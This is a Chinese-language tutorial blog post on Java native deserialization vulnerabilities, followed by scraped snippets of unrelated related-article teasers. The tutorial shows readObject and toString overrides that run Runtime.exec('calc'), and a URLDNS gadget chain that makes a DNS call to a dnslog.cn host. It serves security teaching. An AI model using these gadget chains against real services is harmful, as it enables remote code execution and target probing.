第35天:安全开发-JavaEE应用原生反序列化重写方法链条分析触发类类加载
时间轴:
序列化与反序列化图解:
演示案例:
Java-原生使用-序列化&反序列化
Java-安全问题-重写方法&触发方法
Java-安全问题-可控其他类重写方法
Java-原生使用-序列化&反序列化
1.为什么进行序列化和反序列化?
个人理解:
因为如果转载使用ctrl+a和ctrl+v的话,那么会导致空格复制不过去什么的
使用序列化可以像是打包好了以后发过去。(源码打包好发过去为序列化,将源码的包解开发过来是反序列化)
打包->封装->文件(序列化)
文件->解包(反序列化)
案例演示:
1.创建SeriaTestDemo。
删除老几样(34天有说)
UserDemo:
package com.example.seriatestdemo;import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;public class UserDemo implements Serializable {public String name="xiaodi";public String gender="man";public Integer age=30;public UserDemo(String name,String gender,Integer age){this.name=name;this.gender=gender;this.age = age;System.out.println(name);System.out.println(gender);}public String toString() {try {Runtime.getRuntime().exec("calc");} catch (IOException e) {throw new RuntimeException(e);}return "User{" +"name='" + name + '\'' +", gender='" + gender + '\'' +", age=" + age +'}';}// private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
// //指向正确readObject
// ois.defaultReadObject();
// Runtime.getRuntime().exec("calc");
// }}
其中toString()为UserDemo的内置
序列化操作文件(SerializableDemo):
package com.example.seriatestdemo;import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;public class SerializableDemo {public static void main(String[] args) throws IOException {//创建一个对象 引用UserDemoUserDemo u = new UserDemo("xdsec","gay1",30);//调用方法进行序列化SerializableTest(u);//ser.txt 就是对象u 序列化的字节流数据}public static void SerializableTest(Object obj) throws IOException {//FileOutputStream() 输出文件//将对象obj序列化后输出到文件ser.txtObjectOutputStream oos= new ObjectOutputStream(new FileOutputStream("ser.txt"));oos.writeObject(obj);}}
运行逻辑:
下面写好了一个SerializableTest(obj),他的obj为u,u定义在了上面,UserDemo()写在了第一个文件中
以下为输出的字节流
反序列化操作文件(UnserializableDemo):
package com.example.seriatestdemo;import java.io.*;public class UnserializableDemo {public static void main(String[] args) throws IOException, ClassNotFoundException {//调用下面的方法 传输ser.txt 解析还原反序列化Object obj =UnserializableTest("ser.txt");//对obj对象进行输出 默认调用原始对象的toString方法System.out.println(obj);}public static Object UnserializableTest(String Filename) throws IOException, ClassNotFoundException {//读取Filename文件进行反序列化还原ObjectInputStream ois= new ObjectInputStream(new FileInputStream(Filename));Object o = ois.readObject();return o;}
}
运行结果:
转换前的数据
转换后的数据
安全问题:
(1) 入口类的 readObject 直接调用危险方法
将readObject()直接调用导致冲突
UserDemo中:
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {//指向正确readObjectois.defaultReadObject();Runtime.getRuntime().exec("calc");}
与此处相互冲突:
运行时会报错:
理解:
ObjectInputStream ois= new ObjectInputStream(new FileInputStream(Filename));
Object o = ois.readObject();
return o;
readObiect()——>jdk 1.8
反序列化
ObjectInputStream ois= new ObjectInputStream(new FileInputStream(Filename));
Object o = ois.readObject();
return o;
重写readObject方法,执行计算器
相当于执行序列化对象里面的readObject方法 而不是本身
可以使用断点来调试:
选择第二个:
点击步入:
跑入到Runtime.java
应该跑入到这里:
可以使用010editor进行分析ser.txt:
指向正向的readObject(),若不指向下面没数据为空
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {//指向正确readObjectois.defaultReadObject();Runtime.getRuntime().exec("calc");
(2) 入口参数中包含可控类,该类有危险方法,readObject 时调用
原理:
如果换一个类 里面自带有readObject 会不会触发呢?
//正常代码中 创建对象HashMap
//用到原生态readObject方法去反序列化数据
//readObject 在ObjectInputSteam 本来在这里
//HashMap也有readObject方法
//反序列化readObject方法调用 HashMap里面的readObject
//执行链:
//序列化对象hash 来源于自带类HashMap
// * Gadget Chain:
// * HashMap.readObject()
// * HashMap.putVal()
// * HashMap.hash()
// * URL.hashCode()
//hashCode 执行结果 触发访问DNS请求 如果这里是执行命令的话 就是RCE漏洞
UrLDns:
package com.example.seriatestdemo;import java.io.*;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;public class UrLDns implements Serializable {public static void main(String[] args) throws IOException, ClassNotFoundException {//正常代码中 创建对象HashMap//用到原生态readObject方法去反序列化数据//readObject 在ObjectInputSteam 本来在这里//HashMap也有readObject方法//反序列化readObject方法调用 HashMap里面的readObject//执行链://序列化对象hash 来源于自带类HashMap
// * Gadget Chain:
// * HashMap.readObject()
// * HashMap.putVal()
// * HashMap.hash()
// * URL.hashCode()//hashCode 执行结果 触发访问DNS请求 如果这里是执行命令的话 就是RCE漏洞HashMap<URL,Integer> hash = new HashMap<>();URL u=new URL("http://dmo1e2.dnslog.cn");hash.put(u,1);SerializableTest(hash);UnserializableTest("dns.txt");}public static void SerializableTest(Object obj) throws IOException {//FileOutputStream() 输出文件//将对象obj序列化后输出到文件ser.txtObjectOutputStream oos= new ObjectOutputStream(new FileOutputStream("dns.txt"));oos.writeObject(obj);}public static Object UnserializableTest(String Filename) throws IOException, ClassNotFoundException {//读取Filename文件进行反序列化还原ObjectInputStream ois= new ObjectInputStream(new FileInputStream(Filename));Object o = ois.readObject();return o;}}
使用正常方法会产生dns.txt
可以使用010editor进行查看:
正常情况下访问dns:
http://dnslog.cn/
能访问上的原因
(https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java
)
(3) 入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject 时调用
(4) 构造函数/静态代码块等类加载时隐式执行
UnserializableDemo:
public class UnserializableDemo {public static void main(String[] args) throws IOException, ClassNotFoundException {//调用下面的方法 传输ser.txt 解析还原反序列化Object obj =UnserializableTest("ser.txt");//对obj对象进行输出 默认调用原始对象的toString方法System.out.println(obj);}
UserDemo:
@Overridepublic String toString() {try {Runtime.getRuntime().exec("calc");} catch (IOException e) {throw new RuntimeException(e);}return "UserDemo{" +"name='" + name + '\'' +", gender='" + gender + '\'' +", age=" + age +'}';}
因为有toString()进行string方法的改变,在unserializableDemo中System.out.println(obj);//对obj对象进行输出 默认调用原始对象的toString方法
反序列化总结:
相关文章:

第35天:安全开发-JavaEE应用原生反序列化重写方法链条分析触发类类加载
时间轴: 序列化与反序列化图解: 演示案例: Java-原生使用-序列化&反序列化 Java-安全问题-重写方法&触发方法 Java-安全问题-可控其他类重写方法 Java-原生使用-序列化&反序列化 1.为什么进行序列化和反序列化࿱…...
【mptcp】ubuntu18.04和MT7981搭建mptcp测试环境操作说明
目录 安装ubuntu18.04,可以使用虚拟机安装... 2 点击安装VMware Tool 2 更新ubuntu18.04源... 4 安装ifconfig指令工具包... 5 安装vim工具包... 5...
【数据分析(二)】初探 Pandas
目录 引言1. 基本数据结构1.1. Series 的初始化和简单操作1.2. DataFrame 的初始化和简单操作1.2.1. 初始化与持久化1.2.2. 读取查看1.2.3. 行操作1.2.4. 列操作1.2.5. 选中筛查 2. 数据预处理2.0. 生成样例表2.1. 缺失值处理2.2. 类型转换和排序2.3. 统计分析 3. 数据透视3.0.…...
第9章:Python TDD解决货币对象相等性比较难题
写在前面 这本书是我们老板推荐过的,我在《价值心法》的推荐书单里也看到了它。用了一段时间 Cursor 软件后,我突然思考,对于测试开发工程师来说,什么才更有价值呢?如何让 AI 工具更好地辅助自己写代码,或许…...
更新布局元素的属性
每个布局元素都有一组可以通过编程来更新的属性.布局元素有很多种不同的类型,如图例,图形,文本,地图整饰等等. 操作方法: 1.打开目标活动地图文档 2.打开python窗口 3.导入arcpy模块 import arcpy.mapping as mapping 4.引用当前活动地图文档,把该引用赋值给变量 mxd map…...
UDP協議與代理IP介紹
UDP,全稱是用戶數據報協議(User Datagram Protocol),是Internet協議套組的一部分,與TCP協議一道工作。與TCP相比,UDP可以理解為一個更“羽量級”的協議。它不需要像TCP那樣在數據傳輸開始之前建立連接&…...

QT 中 UDP 的使用
目录 一、UDP 简介 二、QT 中 UDP 编程的基本步骤 (一)包含头文件 (二)创建 UDP 套接字对象 (三)绑定端口 (四)发送数据 (五)接收数据 三、完整示例代…...

leetcode刷题记录(七十二)——146. LRU 缓存
(一)问题描述 146. LRU 缓存 - 力扣(LeetCode)146. LRU 缓存 - 请你设计并实现一个满足 LRU (最近最少使用) 缓存 [https://baike.baidu.com/item/LRU] 约束的数据结构。实现 LRUCache 类: * LRUCache(int capacity)…...

深圳大学-计算机系统(3)-实验一MIPS指令集实验
实验目标 a) 了解WinMIPS64的基本功能和作用; b) 熟悉MIPS指令、初步建立指令流水执行的感性认识; c) 掌握该工具的基本命令和操作,为流水线实验作准备。 实验内容 按照下面的实验步骤及说明,完成相关操作记录实验过程的截图&a…...

Java面试专题——面向对象
面向过程和面向对象的区别 面向过程:当事件比较简单的时候,利用面向过程,注重的是事件的具体的步骤/过程,注重的是过程中的具体的行为,以函数为最小单位,考虑怎么做。 面向对象:注重找“参与者…...

知行合一:解决有心无力的问题,解决知易行难的问题,知行合一并不意味着事事都要合一,而是....
问题是什么? 想学习的时候,有手机阻碍我们。想戒掉手机短视频,卸载后,几天的时间,又下载了回来。制定了减肥计划,但就是不执行。明知道这样做是不对的,但依然行动不起来。 沉溺于各种各样的享…...

Qt中自定义信号与槽
在学习信号和槽的时候,我们知道信号一般对应的就是用户的行为,槽指的是接受到信号后的响应,在类内有许多的内置信号和槽函数,能够去实现一些常见的行为,但实际业务开发中,尤其是接受到信号的响应会根据具体…...
.NET 8 项目 Docker 方式部署到 Linux 系统详细操作步骤
本文将详细介绍如何将一个 .NET 8 项目通过 Docker 部署到 Linux 系统中。以下步骤包括从项目的创建、Dockerfile 的编写、镜像构建、到最后在 Linux 上的容器运行。 1. 环境准备 在开始之前,请确保你已经具备以下环境: Linux 系统(如 Ubu…...
深入了解 Java split() 方法:分割字符串的利器
Java 提供的 split() 方法是 String 类中一个常用的工具,它可以将一个字符串根据指定的分隔符切割成多个子字符串,并以字符串数组的形式返回。这个方法常用于字符串的处理、数据解析等场景。本文将详细介绍 Java 中 split() 方法的使用方式,并…...
pgsql中处理数组类型字段
1、代码中存入和读取 需要使用自定义转换器 Slf4j public class ArrayTypeHandler extends BaseTypeHandler<List<String>> {Overridepublic void setNonNullParameter(PreparedStatement ps, int i, List<String> parameter, JdbcType jdbcType)throws SQL…...
如何正确定位前后端bug?
在平时的开发过程中,正确定位前后端bug是提高开发效率和项目质量的关键。以下是一些实用的方法。 一、前后端bug 特征 前端主要负责显示数据,后端主要负责处理数据、存储数据,前后端主要通过接口进行数据交换。 1.前端bug特征 界面显示类…...

mfc操作json示例
首先下载cJSON,加入项目; 构建工程,如果出现, fatal error C1010: unexpected end of file while looking for precompiled head 在cJSON.c文件的头部加入#include "stdafx.h"; 看情况,可能是加到.h或者是.cpp文件的头部,它如果有包含头文件, #include &…...

【技术总结类】2024,一场关于海量数据治理以及合理建模的系列写作
目录 1.今年的创作路线 2.先说第一条线 2.1.由日志引出的海量文本数据存储和分析问题 2.2.监控以及监控的可视化 2.3.数据量级再往上走牵扯出了大数据 2.4.由大数据牵扯出的JAVA线程高级内容 3.第二条线,也是2025要继续的主线 1.今年的创作路线 今年的写作内…...

Dockerfile另一种使用普通用户启动的方式
基础镜像的Dockerfile # 使用 Debian 11.9 的最小化版本作为基础镜像 FROM debian:11.11# 维护者信息 LABEL maintainer"caibingsen" # 复制自定义的 sources.list 文件(如果有的话) COPY sources.list /etc/apt/sources.list # 创建…...
python的pushbullet库在设备之间发送通知链接文件
Pushbullet 是一个非常方便的 Python 库,可以帮助你在设备之间发送通知、链接、文件等。以下是 Pushbullet 的一些主要功能和使用方法: 功能 与你的 Pushbullet 账户关联的设备(需要下载对应的pushbullet手机APP、电脑客户端)之…...
Java 8 Stream API 入门到实践详解
一、告别 for 循环! 传统痛点: Java 8 之前,集合操作离不开冗长的 for 循环和匿名类。例如,过滤列表中的偶数: List<Integer> list Arrays.asList(1, 2, 3, 4, 5); List<Integer> evens new ArrayList…...
【SpringBoot】100、SpringBoot中使用自定义注解+AOP实现参数自动解密
在实际项目中,用户注册、登录、修改密码等操作,都涉及到参数传输安全问题。所以我们需要在前端对账户、密码等敏感信息加密传输,在后端接收到数据后能自动解密。 1、引入依赖 <dependency><groupId>org.springframework.boot</groupId><artifactId...

Opencv中的addweighted函数
一.addweighted函数作用 addweighted()是OpenCV库中用于图像处理的函数,主要功能是将两个输入图像(尺寸和类型相同)按照指定的权重进行加权叠加(图像融合),并添加一个标量值&#x…...

dedecms 织梦自定义表单留言增加ajax验证码功能
增加ajax功能模块,用户不点击提交按钮,只要输入框失去焦点,就会提前提示验证码是否正确。 一,模板上增加验证码 <input name"vdcode"id"vdcode" placeholder"请输入验证码" type"text&quo…...
深入理解Optional:处理空指针异常
1. 使用Optional处理可能为空的集合 在Java开发中,集合判空是一个常见但容易出错的场景。传统方式虽然可行,但存在一些潜在问题: // 传统判空方式 if (!CollectionUtils.isEmpty(userInfoList)) {for (UserInfo userInfo : userInfoList) {…...

9-Oracle 23 ai Vector Search 特性 知识准备
很多小伙伴是不是参加了 免费认证课程(限时至2025/5/15) Oracle AI Vector Search 1Z0-184-25考试,都顺利拿到certified了没。 各行各业的AI 大模型的到来,传统的数据库中的SQL还能不能打,结构化和非结构的话数据如何和…...

第一篇:Liunx环境下搭建PaddlePaddle 3.0基础环境(Liunx Centos8.5安装Python3.10+pip3.10)
第一篇:Liunx环境下搭建PaddlePaddle 3.0基础环境(Liunx Centos8.5安装Python3.10pip3.10) 一:前言二:安装编译依赖二:安装Python3.10三:安装PIP3.10四:安装Paddlepaddle基础框架4.1…...

goreplay
1.github地址 https://github.com/buger/goreplay 2.简单介绍 GoReplay 是一个开源的网络监控工具,可以记录用户的实时流量并将其用于镜像、负载测试、监控和详细分析。 3.出现背景 随着应用程序的增长,测试它所需的工作量也会呈指数级增长。GoRepl…...

【技巧】dify前端源代码修改第一弹-增加tab页
回到目录 【技巧】dify前端源代码修改第一弹-增加tab页 尝试修改dify的前端源代码,在知识库增加一个tab页"HELLO WORLD",完成后的效果如下 [gif01] 1. 前端代码进入调试模式 参考 【部署】win10的wsl环境下启动dify的web前端服务 启动调试…...

Java设计模式:责任链模式
一、什么是责任链模式? 责任链模式(Chain of Responsibility Pattern) 是一种 行为型设计模式,它通过将请求沿着一条处理链传递,直到某个对象处理它为止。这种模式的核心思想是 解耦请求的发送者和接收者,…...